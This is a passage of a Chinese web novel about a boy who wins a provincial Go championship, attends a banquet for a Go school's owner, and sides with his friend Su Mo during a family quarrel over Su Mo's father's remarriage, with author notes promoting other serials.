实际上,他外出吃饭的次数都很少,即便是在家,保姆也不会搞火锅一类的东西吃,饭菜都是很清淡那一类。 再一个,他印象中吃火锅还是在帝都时 “以前我奶奶倒是弄过几次。” 这还是第一次,苏陌谈及自己的家人。 纪辰新默默吃着菜,眼睛瞄了瞄他,“你想你奶奶了?你们是不是很久没见了?” “还好,每年过年都会回去。”苏陌眼角带了丝柔意,“今年也不例外。” “对了,我奶奶包的饺子很好吃,到时候我带一些回来给你尝尝。” 纪辰新愣了愣,他皮笑肉不笑的应下了,只有他知道苏陌你这一去,怕是不会回来了。 【系统,苏陌那个渣爹的婚礼什么时候举办?】 系统:【大概还有二十天吧,他爷爷奶奶半个月后得到消息,会提前过来。】 纪辰新:【所以,你的意思是,二十天后,不,或许半个月后苏陌就离开了?】 系统:【嗯,差不多吧。】 这竟是都待不到过年了 看着被一切蒙在鼓里的苏陌,纪辰新内心说不出的复杂。 服务员端着鲜切羊肉走过,脚步声里混着,“小心烫”的关切声,周围到处都是逗乐声,有人笑的开怀时,筷子都抖掉了。 锅里的汤越熬越浓,暖烘烘的烟火气蔓延在空间的每一处,每一角,纪辰新靠着窗,将脑袋伸了出去,企图让风把自己吹醒。 倏然间,一个冰冰凉凉的东西贴到了额头上,纪辰新抬眼便对上了苏陌黑白分明的双眸,还有他递过来的冰可乐,“这样贴着舒服点没?” “嗯。”纪辰新敛下眉眼间的沉寂,努力回应了一个灿烂的笑,“谢啦。” 这顿火锅吃到最后,纪辰新借着上厕所的名头,主动去买了单,五百的存款,顿时就只剩下三百五了。 作为朋友,他已经享受了苏陌的很多次帮助了,现在怎么也该轮到他回馈了。 苏陌在得知纪辰新主动买了单后,用不赞同的神色注视了他好久,“今天说好了,我请的。” “什么时候说好的,我怎么不知道?”纪辰新理所当然道,“我拿了省第一,请客是为了庆祝,你是为了什么?” “我自然也是为了庆祝。”苏陌反驳。 纪辰新挑眉:“你庆祝什么?” 他觉得好笑,故意板起脸,“庆祝我拿了第一?这不合道理,还是说你看不起我,所以不愿吃我请的东西?” “哪有!”苏陌骤然上前,瞳孔都放大了,随即也放弃了与纪辰新争辩,一副无可奈何的样,“你怎么能这么想我。” “噗嗤~”纪辰新捂着肚子,哈哈大笑起来,“我逗你玩呢,你也太不经逗了吧。” 苏陌也是没了脾气,纵容地看着他,“小心别笑岔气了。” “我怎么可能你别” “咳咳咳” “咳咳咳咳咳咳” “靠,你个乌鸦嘴!” 还真被他说中了,纪辰新瞬间咳的不行,特别是刚吃了火锅,辣椒都反胃上来了,就这么卡在喉咙里,辣的眼睛直冒泪。 然而,下一秒嘴边突然被喂了口水,只听到对面淡声道,“张嘴,咽下去。” “唔” * 三天后的省赛颁奖典礼上,主办方在最后一刻才宣布这次业余围棋证书的名额。 “关于这次的比赛,国棋院那边考量了很久,本来是只准备给我们一个名额的,后来他们经过反复讨论,最终确定再给我们省多加一个名额。” “所以,我们这次的名额是两个!” 话落,全场闻声而动,是激动,是欢呼,是雀跃。 “wow,这次居然这么大方?” “听说隔壁省,一个都没有。” “啊,这也太惨了吧。” “这有什么,谁让他们没有一个能打的!” 主办方抬起手,示意大家安静,“至于这次国棋院为何会多给一个名额,我们也是去证实了一番,具体情况,大家请看投影仪。” 只见巨大的投影仪上倒映出一盘棋,一盘白子被黑子全场围追堵截的棋。 “这是一盘具有教育意义的棋,国棋院已经决定收入进书里了。” 崔文和越看这盘棋越觉得熟悉,甚至心惊,这居然是那日他吵着不愿继续下的那盘棋。 是他与纪辰新对弈的那局! 只是至今想起来仍旧心有余悸,棋盘里白子的数量比黑棋少了起码三分之一,基本都是被黑子吃掉的。 居然是因为这盘棋吗? 因为这盘棋,国棋院竟多给了一个名额? 但他实在下的差劲,远远比不上纪辰新,他们为何会? 不对,是纪辰新! 他本可以提前终结比赛的,却 是他硬生生拖着他,引导他,带领他,最终完成了这盘具有教育意义的指导棋! 他为何要这么做? 到底为什么? “下面有请第一名纪辰新以及第二名崔文和上台领奖!” 即便被叫到了名字,崔文和却脑子嗡嗡的,他木然地盯着不远处的纪辰新,他亦步亦趋,眼里从始至终只能容下那一个人。 纪辰新的笑容恰到好处,下颌线绷的温软,他接过礼仪小姐给他颁发的奖杯和业余五段证书。 崔文和站在他身旁,离的有些近,他咬了咬唇,胆怯到不知该如何开口。 他不禁回想起下棋那日,自己对纪辰新的态度好像并不好。 懊恼的情绪来势汹汹,崔文和感觉自己的整个胸膛要炸了。 奖杯和证书递到了他手中,然而他的目光始终聚焦在一旁的身影上,像是浸了温水的棉线,濡湿又缠绵。 摄像人员全方位记录着颁奖过程,在最后的拍照环节,摄像人员提醒,“第二名,崔小朋友,你盯哪呢,请看镜头!” 崔文和却像是没听到一样,直到纪辰新侧目,眼尾轻轻垂着,轻轻瞥来的那一眼,崔文和陡然红温,他不自然地撇开目光,躲闪不及。 “所有人看镜头!” “一二三,茄子!” “咔嚓”一声,万籁俱寂,镜头里的崔文和不知何时再次转过了头,只见他侧露半张脸,另外半张脸则隐在了光影里,几乎全凝在了身旁人身上。 他的眸光亮的出奇,像坠满了星子的潭水,不声不响,唯有镜头永存!—— 作者有话说:明天上夹了,会晚一点更新~ 预收《不小心救错反派后,我跑路了》求收藏! 文案如下: 桑容穿书了,虽然穿成了小豆丁,但不影响他做梦都是找到男主,跟着男主混,抱着男主大腿走上人生巅峰。 很快,桑容就遇到了那个被人堵在巷子里,打架最狠,眼神最凶的男孩,他自信点头,这应该就是男主了吧,果然不同凡响! 后来桑容:家人们谁懂啊,救错了人,此时不跑更待何时!!! 原书大反派萧卓,从小寄人篱下,性格乖张狠厉,是个养不熟的白眼狼。 大年三十,雪地里,浑身都是伤痕的萧卓,黑眸暗淡,奄奄一息,他本以为自己会死在那个寒冷的雪夜里。可那晚,有双温暖的小手握住了他,从此让他感受到了从出生以来从未有过的温情。 萧卓曾不止一次痴笑着问过桑容,会不会一直陪在他身边。 直到那年桑容的不告而别,他的心中的狠厉暴虐再也压抑不住。 再次相遇的那个夜晚。 “我的容容,是你说要永远陪在我身边的,你怎么能言而无信呢。” 萧卓语调轻盈,声音温柔地像是裹了蜜,然而眼底却是藏不住的疯狂:“这次你再也跑不掉了。” 四肢都被绑在床上的桑容,一脸惊悚,这是什么发展,谁能给我解释一下? 人设:暗黑狠戾疯子攻X得过且过咸鱼受 食用指南: 攻受开篇都是8岁/前期养崽/治愈救赎 第36章 纪辰新省围棋赛夺冠的消息不胫而走, 不止学校,就连家附近都被传的沸沸扬扬。 街坊邻居逢人便道,“我们巷子里出了个冠军。” “冠军?什么冠军?谁啊?” “就那个赌鬼爹, 寡妇奶,老李氏家的那个孙子,好像叫什么纪辰新” “拿的还是个围棋冠军,这都登报上电视了。” “围棋?冠军?你是不是弄错了?” “那孩子我知道,考试常年垫底,脑子不太好, 围棋能下的明白?这绝不可能!” “骗你们干嘛, 现在就可以上他家瞧瞧, 家里的奖杯和证书还能作假?” “当真?这冠军有什么奖励没,给多少钱?” “这倒没听说过。” “走,一起去看看!” 纪辰新今天接待了一批又一批的客人, 茶水都烧了好几锅。 街坊邻居都很热情的跟他奶奶的说笑以及套近乎, “辰新他奶, 你这孙子, 可不得了, 以后定有大出息。” “是啊,围棋比赛的冠军可不是那么好拿的, 你说哈, 辰新这脑子也不知道怎么长的, 与众不同,出其不意,一鸣惊人!” 纪辰新:“”不会用成语就别乱用! 那人还在继续:“听说,职业围棋手,赢一场比赛都好几万呢。” “以后你就享清福吧, 你家辰新看着就不是池中之物。” 李春兰被人恭维着,谦虚道,“唉,小孩子瞎胡闹呢,他哪来那么大本事,你们就别夸他了,省的这小子尾巴都要翘天上去了。” “欸,孩子该夸的时候就夸,这才能培养他的自信心嘛。”王婶插嘴道,三言两语就将李春兰反驳了。 纪辰新懂事的在旁边给大家倒茶,“各位叔叔伯伯婶婶,今天茶管够,这里还有花生和瓜子,你们吃好喝好哈!” 很快就又有人笑盈盈道:“这孩子看着就会来事,讨喜,不像我家那个,整日只会滚一身泥点子。” “是啊是啊,我家那个上次期中考试,你猜怎么着,没一科及格!” “对了,辰新他奶,你家辰新上次考试成绩怎么样?” 这话一问,众人顿时都安静了下来,诡异的想要寻找平衡。 结果,一说起这个,李春兰又有面了,她讪笑了下,语气平淡,“还行吧,三科全满分,说是得了个年级第一呢。” “喔嚯!” “真的假的?” “辰新学习成绩什么时候变这么厉害了?” 人比人,简直是要气死人,一群人讨论来讨论去,最后发现,纪辰新突然就变成了那种别人家的孩子,估计今晚会有很多的孩子接受爸妈的混合双打了。 纪辰新从善如流的摸了摸鼻子,与奶奶对视的那一眼,看到了奶奶浑浊眼眸中欣慰的笑,老太太这么多年终于扬眉吐气了。 “辰新,这省冠军,奖励多少钱啊?” 众人说来说去,最关心的还是这个,钱才是立足之本。 “是啊,怎么也得有个三五千吧?” 他们用认真、期待又贪婪的目光注视着他。 纪辰新摇摇头,“没有那么多,就一千块钱奖励,然后还有一张业余围棋五段的证书。” 众人闻言暗暗松了口气,“唉,一千也不错,够你奶奶上工小半年了。” 他们不知道的是,那张证书才是最值钱的,甚至有市无价。 “对呀,我家那小子,若是什么时候也能给我挣一千回来,我都谢天谢地了。” “别提了,我家那个只知道三天两头找我要钱!” “这样看下来,还是辰新他奶,你家辰新最让人省心。” 众人一顿夸,说不出是羡慕还是心酸,但纪辰新能看出来奶奶今天真的是很开心。 好久没有这么多人找她唠嗑了,还都是在夸她的孙儿,好似以往所有的经历与闲话,在此刻终于得到了一点释怀。 待众人走后,纪辰新默默打扫起了地上的花生壳和瓜子壳,李春兰则收拾清洗茶杯。 祖孙俩默契地将一切复原后,蓦然一对视,竟同时不言而喻的笑了。 “奶奶,那一千块钱就放你那保管吧。” 李春兰看着孙儿递过来的钱,还是没打算收,“你是个好孩子,自己存着吧,奶奶相信你。” 纪辰新攥着依旧送不出去的钱,有些无奈,“让你拿着就拿着呗,你这小老太太就不知道对自己好点吗?” “没大没小的,我看你是三天不打上房揭瓦。”老太太佯装生气地瞪了他一眼。 “哈哈哈哈,你才舍不得打我呢。”纪辰新得意的做了个鬼脸。 “咚!”抬手间,老太太给了他额头一下,用指节敲的,力道不大,但还是有点疼痛。 纪辰新“哎哟”一声,“好吧,你还真舍得!你也太” “小新,有人找!”突然,肖椿在门外通风报信。 祖孙俩双双一愣,纪辰新微微挑眉,“谁啊?” 肖椿瞥了李春兰一眼,然后道,“是赵言权他爸!” 这几个字一出来,纪辰新便知道他来找自己做什么了,想来是为了宣传的事。 “奶奶,我去去就回,有可能不回来吃晚饭了。” 李春兰担忧道,“去哪?怎么就不回来吃晚饭了,排骨我都买好了。” 纪辰新想了一下,“我只是说有可能,若是回的晚,就留着给我晚上吃宵夜呗!你别为我担心,赵言权你是认识的,他爸我也很熟。” 老太太琢磨了好一会儿,最后还是没有阻止,“那你早点回。” 就这样,纪辰新去巷子外见了赵信,赵信今天开了辆拉风的车,一身昂贵西装系着领带,一副成功人士的模样。 纪辰新犹疑地看着他,“怎么穿这么正式?” “上车,带你去买身衣服。”赵信刁着根烟,语气不容拒绝,宛如霸道总裁附身。 纪辰新没动,蹙眉道:“然后呢,要干嘛?” 赵信好笑的看着他,“紧张什么,我还能卖了你不成,等会儿有个晚会,需要带你过一下场面。” “放心,就这一回,算是履行你上次答应我的约。” “行吧。”纪辰新呼出口气,“先申明我不陪酒哈。” “你这小鬼想什么呢,我是那种丧心病狂的人吗?”赵信翻了个白眼。 * 半个小时后,赵信领着纪辰新进了商场,又过了半个小时,身着白色衬衫搭配小巧黑色领结的纪辰新从商场走了出来。 他外面套了个藏蓝色小西装,下身是同色系的西裤,脚踩擦的发亮的小皮鞋,背挺的板板正正,活脱脱一个小正太! 车内,赵信拿出发蜡给他徒手摸出了一个吊炸天的发型。 他满意地对着自己的作品吹了个口哨,“瞧瞧,这多帅啊!” 纪辰新对着后视镜一个劲的瞅,这家伙居然把他的刘海全部往后收起来了,还好自己的额头饱满又圆润,不然都撑不住这样非同一般的杰作! “今晚要见什么人?” 赵信看了眼时间,“一些商会和投资方,你的出现一定会让他们眼前一亮的。” “我的围棋班要扩规模了,我还想创办一个棋院,吸纳一些人才进来。” “不需要你帮我做什么,安静呆在我旁边就行。” 听上去倒简单,纪辰新摸了摸肚子,“有吃的吗?” 赵信在车里找了一圈,翻出根火腿肠,“先垫下肚子,晚上够你吃的!” “晚会什么时候开始,现在就去?”纪辰新接过火腿肠,撕开包装纸,咬了起来。 赵信系了系安全带,发动引擎,“对。” 晚上七点,纪辰新跟随赵信来到了一个装修高档又奢华的酒店。 在酒店的3楼,赵信围棋班的横幅挂了满场,中心台上还请了舞蹈演员表演。 场内签到人员给每个赴约的人都准备了伴手礼。 所有人都穿着很正式,西装、中山装、大褂、各式各样,还有不少人手里握着把折扇,隐隐透露出一股高雅风范。 赵信到了后便挂起了职业微笑和不同人打招呼,遇到地位高于自己的,他还会弯腰致意。 这其中也混杂了几名记者,不停找角度拍照,纪辰新不用猜都知道,这是赵信自己请来宣传造势的。 而纪辰新的作用便是跟在赵信身旁跟各种人周旋与寒暄,不少人看到纪辰新都会诧异发问,问他是不是那个省第一。 每当这个时候赵信都会主动道,“对,就是他,这孩子在我这学过半年棋,没想到会有这么大的造化!” 他是真会胡说八道,纪辰新也没拆穿,只要不是太离谱的就行。 记者认真记录着,都已经想好了明天的报纸标题了,《论围棋冠军在手谈坊的那半年到底经历了什么!》 而手谈坊就是赵信围棋班的名字,这下想不出圈都难了。 到了吃饭时间,纪辰新也是乖乖地坐在赵信身旁埋头苦吃,遇到有人想与他交谈,也会被赵信给挡回去。 这点,纪辰新还是比较满意,他信守着自己承诺,而赵信也将他保护的很好。 一直到晚上九点,赵信还在乐呵呵的跟人拼酒,他的投资算是有着落了,所以喝的很开心。 纪辰新闻着他身上的酒气,蹙了眉,他想出去透透气,便与他附耳道,“出去上个厕所。” 赵信点头,“别乱跑哈,等下我叫人送你回去。” 被人叮嘱别乱跑也是没谁了,纪辰新无语的撇了撇嘴。 他一路出了会场,走到了长廊,也就十来米的距离,就连空气都好闻了不少。 透明的窗,能看到外面的灯火阑珊,纪辰新趴在窗户缝处,满足地享受微风吹拂。 他很满意这个位置,只不过要是没那么吵就好了。 隐约的喧闹,还有过高的音量到底在吵什么? 听这声音来源,好像是从楼道里传来的。 纪辰新秉着好奇的心朝楼道靠了过去,隐隐约约间,他听到,“苏陌,我真是给你脸了,还不快去给你妈道歉!” “他不是我妈,我做错了什么,凭什么给她道歉!”小少年倔强地顶撞父亲。 苏陌? 纪辰新心头一跳! 他连忙将脑袋探下去,露出一双眼睛,悄悄观察。 只见视线里,男人举起手狠狠扇下去,纪辰新陡然吓地瞪大了眼睛,下一秒,苏陌直接伸手抵挡住了那只手的力度。 苏枕山似不可置信,他的手居然没法动弹。 苏陌猛地将他的手甩开,眼神里覆盖了层薄冰,“你们结你们的婚,通知我干嘛,惺惺作态,令人作呕。” “哥,你为什么就这么容不下我和妈妈?”突然,一道委屈的男声冲了出来,哭诉着,“不管你承不承认,从此以后我们就是一家人了!” 纪辰新看到了那是一个穿着背带裤的男孩,身高看着与苏陌差不多,他从一个拐角走出,侧着脸,面容看不真切。 “别喊我哥,谁跟你一家人,你们也配?”苏陌的唇抿成了一道锋利的线,态度明晃晃带着恶劣的戏谑感。 突然冷不丁的,“纪辰新,你怎么在这,走,送你回去了。” 纪辰新的肩膀骤然被人拍了拍,他猛一回头,心差点跳出了嗓子眼,喝的醉醺醺的赵信一脸状况外,“你躲这干嘛,害我找了好一会儿!” 纪辰新僵硬地梗着脖子,迟疑地转身,就看到苏陌闻声朝他望过来的视线。 那视线里,是猝不及防的震惊,是慌乱、也是掩饰! 纪辰新脸色“唰”地白了,感觉自己的喉咙像是被卡住了,嘴巴也黏在了一起,努力扯着嘴角,却说不出一句话。 他想他该如何解释自己不是故意偷听的呢? 苏陌真的会信吗?—— 作者有话说:纪辰新:屏幕前的家人们,我现在说什么他才会相信我[裂开] 预收:《我在末世文里指挥丧尸干活》求收藏~ 文案如下: 许迟一觉醒来穿进了丧尸文里的炮灰反派,满屏的丧尸犹如过江之鲫。 天上飞的 地上跑的 水里游的 慢着……那个撑杆跳的,你是不是太嚣张了一点? 一开始,许迟只能艰难求生。 后来,偶遇丧尸突袭,许迟意外解锁了“言出法随”的异能。 从此,他让丧尸滚就滚,让丧尸爬就爬,无聊时甚至让丧尸给他跳舞解闷。 某日,狼狈又疲倦的国家战队展开救援,却看到画风清奇的一幕。 一群丧尸在跑步机上跑步。 旁边面容精致的少年嘴里念念有词“跑快点,再跑快点,发电量不够,空调带不动啊。” 再然后看到旁边湖里拼命抓鱼的丧尸 以及丧尸建房子,丧尸监工… 甚至…还有丧尸在开挖掘机? …… 许迟的小日子过得风生水起,直到那日,一个包裹严实的人找上了门,说找他谈一门生意。 “你好,我叫陆枭。” 许迟神色惊疑:谁?好耳熟,等等,难道是…那个扬言要毁灭世界的丧尸王…陆枭?!!! 然而,下一秒却听见,这个浑身散发着危险气息的男人意味不明道,“请问你这还需要包工头吗?” 第37章 “我” 那一刻, 纪辰新与苏陌的目光在空中进行了短暂且无言的交汇。 他想应该没有人会愿意被人看到如此不体面的一幕吧。 即便这人是苏陌,也一定会感到难堪的。 但他又不是做错事的一方,作为朋友, 纪辰新选择盲目的相信他。 所以,他更不能放任苏陌在这被人欺负了去! 于是,“苏陌!”纪辰新当着所有人的面,喊出了一道就连自己都感到有些颤抖的声音,“你别怕,我帮你报警!” 此话一出, 周围的空气都凝滞了, 众人面色诡异, 带着错愕。 气氛也由原来的剑拔弩张转变成了尴尬。 苏枕山神色变幻莫测,就像在火山爆发的边缘,被人兜头浇了盆冷水, 他不悦的看向那个罪魁祸首, “小朋友, 这是我们的家务事, 还请你不要掺和!” 纪辰新才不理他, 执拗地看着苏陌,“苏陌你说, 我只听你的, 他们是不是欺负你了?” 苏陌有些怔忪, 心就像冰封的河面,被暖意出其不意的钻入了已然裂开的缝隙,只见他紧绷的肩膀陡然松了半分,原本抿成直线的嘴角也下意识弯了弯。 身体先于情绪反应,他一步一步朝纪辰新走了过去。 最终在距离纪辰新三寸之地停下, 放软了语调,“嗯,他们都欺负我,幸亏你及时赶到。” 他的声音比平时低,还带着点哑,好似有说不尽的委屈。 纪辰新看着近在咫尺的面容,义愤填膺地拽了拽身后的赵信,“快,手机,咱们报警。” 赵信在这场闹剧里始终懵着头脑,“啊?怎么了?报什么警?” “呵。”一声短促的笑声,带着清透的脆响,撞进人耳朵里,带了几分收敛,却又让空气都漾开了圈圈涟漪,纪辰新望着发出笑声的苏陌,“开心了?” “嗯。”苏陌眼底盛着没散的笑意,小少年的眼眸亮像是星辰,异常晃眼,“还好你站我这边。” 纪辰新松了口气,无奈地看他,“那还报警吗?” 苏陌摇了摇头,“丢不起这个人。” “哥,他是谁?”那个穿着背带裤,原本侧着脸的男孩本能的朝他们凑近了几步。 纪辰新朝他望去,便见男孩用警惕的眼神看着他。 系统:【苏衍,苏陌同父异母的兄弟,也就是那个私生子,从小到大各方面都被苏陌碾压,心有不甘,很喜欢给苏陌找茬添堵。】 原来他就是那个私生子啊,纪辰新打量他的同时,苏衍也在打量他。 苏陌就跟没听到似的,对着纪辰新道,“走吧,你不是要回家吗?我送你。” “你今天敢走试试!”苏枕山只觉得自己作为父亲的威严都被挑战了,“你今天若踏出酒店一步,以后我便不认你这个儿子了!” “求之不得!”苏陌乍然回头,“我早不认你了。” 说罢,苏陌便拉着纪辰新走掉了。 纪辰新以飞快的速度跟着他下楼而去,却又忍不住回头看,只见那对父子脸色一阵青一阵白,显然都被气的不轻。 而这场事故的源头,苏枕山的情人,始终躲在暗处没露面。 出了酒店,苏陌便放开了他的手,沉默地走在路上,纪辰新也没打扰他,静静陪着。 秋夜末的风裹挟着凉意,从楼宇穿过,行道的树叶被吹的沙沙作响,低矮的霓虹招牌,屋檐里暖橘色的灯,一切尽显安宁。 “让你看笑话了,我家是不是很乱。” 影子被灯柱拉的老长,苏陌淡声开口。 纪辰新斟酌着用词,“还好,你不喜欢他们,以后远离就是了。” “他在我妈怀孕时出了轨,后来我妈生下我后远赴海外,不愿再与他相见,一同被抛下的还有我。” 风紧了又紧,树也跟着晃了晃,苏陌说这些,语气没有温度。 纪辰新是个忠实的听众,适时抛出疑问,“那你恨你妈把你抛下吗?” 苏陌顿了下才道,“我都没见过她,哪来的恨,她当初选择离开也没错,毕竟在这场婚姻里,她是受害者。” “奶奶说,我妈跟他是从校园走到婚姻的,从18岁到26岁,整整八年。” 那是一个女生最珍贵的八年,青春都交付在里面了,谁又能承受的住爱人的背叛呢。 纪辰新突然有些理解苏陌对他父亲的态度了,或许是在为他母亲鸣不平吧。 “好了,不说这些了,你今天怎么会在这?”苏陌收敛了心情,注意力终于落到了纪辰新身上。 回想起,赵信那副醉酒样,他不由怀疑,“是赵信拉你出来应酬了?” 肉眼可见的,他蹙了眉,反应比刚刚提到父母往事时还要大,“你跟他签合同了?” 纪辰新连忙摆手,“没签,就是帮他免费宣传一回,他以前也帮过我的,这叫礼尚往来。” “没签就好,他是商人,吃人不吐骨头的,别走太近。”也不知道苏陌是故意抹黑还是怎么回事,纪辰新总觉得赵信哪有他说的那么可怕。 说曹操曹操到,“嗡~”地轰鸣声像闷雷一样贴着地面滚了过来。 赵信坐在副驾上,驾驶位是他临时雇的司机。 “既然他说送你回去,那我就先走了哈!” 这个他自然指的是苏陌。 苏陌淡淡瞟了他一眼,微微抿唇,眼尾向下压,意思很明确,要走就赶紧走,少说废话。 赵信浑身酒气,比之前清醒了几分,他对着纪辰新认真地道了句谢,随后又交代苏陌,“知道你对我有意见,但切莫牵涉到这个小鬼身上,送他回家的任务就拜托你了。” “行了,不多说,免得又觉得我唠叨。” “走喽!” 话落,车便扬长而去! 纪辰新闻到汽车尾气,难受的想“yue”。 苏陌伸出手臂,“袖子借你挡。” “不用,我自己有。”纪辰新推开他的手,自己摒住了呼吸,来回了几次,才感觉好了点,“不早了,我们也回去吧。” 苏陌点头,拿出手机给王叔发了条消息,俩人便在路边等。 然而,回家好像没有那么容易。 只见远远地,一辆黑色的车影拐过街角,声浪猛的拔高,随后越来越近,最后竟径直停在了俩人面前。 苏陌和纪辰新不约而同地后退了一步,放轻了呼吸,目光锐利的似要透过车窗捕捉里面的人。 很快,后车窗便慢悠悠地摇了下来,纪辰新在看到来人时,讶异的懵了一瞬。 “小朋友,终于找到你了。” 他的声音不似年轻人清脆,带着沉淀下来的厚实。 袁仁? 在看清了是谁后,纪辰新整个人都放松了,鬼晓得他刚刚脑补了多少,生怕自己一个不小心得罪了人,被人寻仇了! 袁仁和蔼地笑着,伸手推开了车门,“这么晚了,没打搅你吧?” “我是特意赶过来的,有朋友说在这边的商会遇到了你。” “对了,之前给你的名片是弄丢了吗?都没接到你的电话。” 他几句话便阐明了来意,等下车站定后,才倏然注意到主动挡在纪辰新面前的苏陌。 刹那间,老头精光一闪,像是回忆起了什么,眯了眯眼,狐疑道:“你是那个苏陌?” 苏陌微蹙了眉,他对此人没多大印象。 袁仁看着他防备的姿态,苦笑了一声,“我不是坏人。” “看来你好像把我忘了,两年前,我还说过想收你当弟子来着。” 他这么一提,苏陌倒有点印象了,确实是有这回事,关于这老头的信息与来历,他记得当时还让人着重调查了一番的。 调查的结果好像是没什么威胁。 思及此,苏陌审视的目光淡了点,没那么抗拒了。 老头的双眼在俩人身上来回逡巡,“没想到你们俩居然认识。” 他没忘记过来的目的,视线最终定在了纪辰新脸上,“小纪,现在省赛也比完了,我之前跟你谈论的那事,你考虑的怎么样了?” “还是说,你已经决定跟着那个叫赵信的了?” 跟着赵信? 什么鬼? 难不成是得到他跟了赵信的消息,忙不迭过来抢人的? 靠也不知道他那朋友怎么传的话,他就出席了个晚会而已,怎么就跟了赵信了? “我没跟赵信,他办他的班,办他的棋院,都跟我没关系。”纪辰新划清了界限,“今天参加晚会也是因为还人情。” “哈哈哈哈,竟是如此,那便好,那便好。”袁仁的笑,是从胸腔里发出来的,异常洪亮,精气神比年轻人都足。 “小纪你做的对,你跟着他是学不到东西的,那边纯商业模式,不适合你。” 袁仁有着自己的见解,反正不太看得上赵信的这种经营模式,营销大过一切。 纪辰新抿了抿唇,他想说的是,赵信那他不会去,但你这他也不想去。 看着袁仁满怀期待的眼神,纪辰新纠结归纠结,最后痛快一咬牙道,“抱歉了,我没有拜师的意愿。” “能告诉我为什么吗?”袁仁被这个小娃娃屡次拒绝,也很好奇,“你既没有师承,以后的职业道路,没人帮你谋划,或许会走很多弯路。” “我”纪辰新有种百口莫辩的感觉,他现在的实力根本不是他们所看到的那样,他若真拜师了,难道每天去问一些愚蠢问题吗? 何况,他的成长资源并不需要通过拜师来获取,系统自会提供,他还能自主探索。 这拜师定会有规矩和既定模式的束缚,师徒关系的责任也挺有压力的。 该如何拒绝才能显得委婉又不失礼貌呢? 又不能说直接原因,还真是难搞! 袁仁并不催促,而是温和地看着他,等待他说出个足以拒绝他的理由来。 “我” “他不想!” “啊?”纪辰新眼睛瞬间瞪的老大,猝然看向身旁这个帮他回答的人。 苏陌看出了他的为难,语气决绝,重复了一遍,“他不想,就这样,你走吧!” 纪辰新:“”额,对,是的,我不想。 虽然但是,这是否太直接了点!—— 作者有话说:苏陌:老婆说不出口的,我来!拒绝内耗,从我做起! 预收:《我在末世文里指挥丧尸干活》求收藏~ 文案如下: 许迟一觉醒来穿进了丧尸文里的炮灰反派,满屏的丧尸犹如过江之鲫。 天上飞的 地上跑的 水里游的 慢着……那个撑杆跳的,你是不是太嚣张了一点? 一开始,许迟只能艰难求生。 后来,偶遇丧尸突袭,许迟意外解锁了“言出法随”的异能。 从此,他让丧尸滚就滚,让丧尸爬就爬,无聊时甚至让丧尸给他跳舞解闷。 某日,狼狈又疲倦的国家战队展开救援,却看到画风清奇的一幕。 一群丧尸在跑步机上跑步。 旁边面容精致的少年嘴里念念有词“跑快点,再跑快点,发电量不够,空调带不动啊。” 再然后看到旁边湖里拼命抓鱼的丧尸 以及丧尸建房子,丧尸监工… 甚至…还有丧尸在开挖掘机? …… 许迟的小日子过得风生水起,直到那日,一个包裹严实的人找上了门,说找他谈一门生意。 “你好,我叫陆枭。” 许迟神色惊疑:谁?好耳熟,等等,难道是…那个扬言要毁灭世界的丧尸王…陆枭?!!! 然而,下一秒却听见,这个浑身散发着危险气息的男人意味不明道,“请问你这还需要包工头吗?” 第38章 时间兜兜转转还是来到了苏陌那个渣爹即将举办婚礼的前一周。 苏陌的爷爷奶奶在得知消息后, 大老远连夜从帝都飞了过来,他们过来并不是为了参加婚礼,而是来阻止的。 苏枕山那个情人周清禾, 在遇到苏枕山前就是个多次插足别人家庭的惯犯,以前的恶劣行径不知凡几。 苏枕山还就吃这一套,被勾的五迷三道,离了婚,十年来纠缠不休,终于修成了正果。 苏瀚阳是绝不可能承认这样的儿媳的, 只是没想到儿子竟私下领了证, 现在还要办婚礼, 简直是要将他们苏家的门楣丢尽。 系统播报着书里面的剧情,纪辰新则一边下棋一边聆听,一心二用并不耽误。 【纠缠了十年?那还挺痴情啊!周清禾估计是被感动的不得了, 才结的婚吧?】 系统:【恰恰相反, 她很会拿捏苏枕山, 即便给他生了个孩子, 也一直吊着他, 现在是因为不再年轻了,玩也玩够了, 苏枕山又还算有钱, 够她挥霍, 顺坡下驴就】 一时间,纪辰新都不好评价什么了,也不知道苏陌情况怎么样了,他爷爷奶奶过来定会与他那个渣爹大吵一架吧。 深夜,某别墅区里灯火通明。 苏枕山在得知父母连夜赶过来后, 便好吃好喝招待着。 苏老爷子端坐在红木椅子上,脊梁挺的像旗杆,一双眉拧成了疙瘩,目光似淬了冰,他一口茶都没喝,直截了当道:“你马上协议离婚,婚礼取消。” 苏枕山哪里愿意,他好声好气道,“父亲,我是真的爱清禾,这么多年了,儿子我终于得偿所愿,您就成全儿子这一次吧。” 苏老爷子眼尾的皱纹抖了抖,周遭的空气沉了半截,带着压不住的火气,“她是什么人,你难道不知道吗,真是鬼迷了心窍了!” 苏老太太原名陆眠棠,她怕丈夫太过动气,忙起身到他身后,拍了拍道,“不要太激动,你们两个每次见面必吵架,能不能和气一次?” 苏枕山发现父亲说不通,便将希望放在了母亲身上,“母亲,这次的婚礼,您能出席吗?” “您要是能出席,清禾一定会很高兴的。” 一听这话,苏老爷子又来了气,手往椅子上一拍,“简直是做梦,她这辈子都别想得到我们的认可!” 老太太也用不赞同的目光看着苏枕山,苦口婆心道:“山儿啊,为什么一定要是周清禾,这么多年了,你若换一个人结婚,我和你父亲都不至于这样。” “她当年破坏你和宁儿的婚姻,这些年你还一直与她纠缠不休,导致我们与你温伯伯家再也没了来往,这其中的隔阂,你可知道?” 苏枕山也很痛苦,“是我对不起温若宁,但都这么多年了,她远赴海外不愿再见我,我又有什么办法?” “妈,人是要往前看的,不能总活在过去。” “你是往前看了,丝毫不将我们放在眼里,私自领了证都不跟我们说,真是有大出息了。”苏瀚阳的目光迥然,越说越气,顺手就将手边的茶杯甩了出去,“说的冠冕堂皇,这么多年你又做过什么?你要真有心,就该去你温伯伯家负荆请罪。” 苏枕山眼见说不动父母,也不再劝了,他板着身子道,“婚是不可能离的,婚礼也会照常办,你们不出席也没关系,我只是通知你们一声而已。” 苏瀚阳对他失望透了顶,电光火石间,他想起什么,“陌儿呢,他知道吗?” “他知道,前不久我已经告知他了。”苏枕山没什么表情道。 这下,老太太也是气急了,“你做什么要跟他说这个?” “有什么不能说的,迟早要成为一家人的,上次见面,衍儿和清禾都说以后会与他好好相处,倒是他的脾气要改改了,居然当众不给清禾面子,还说早不认我了,真是不知礼数,没教养。”苏枕山回忆起当日的情形满口抱怨。 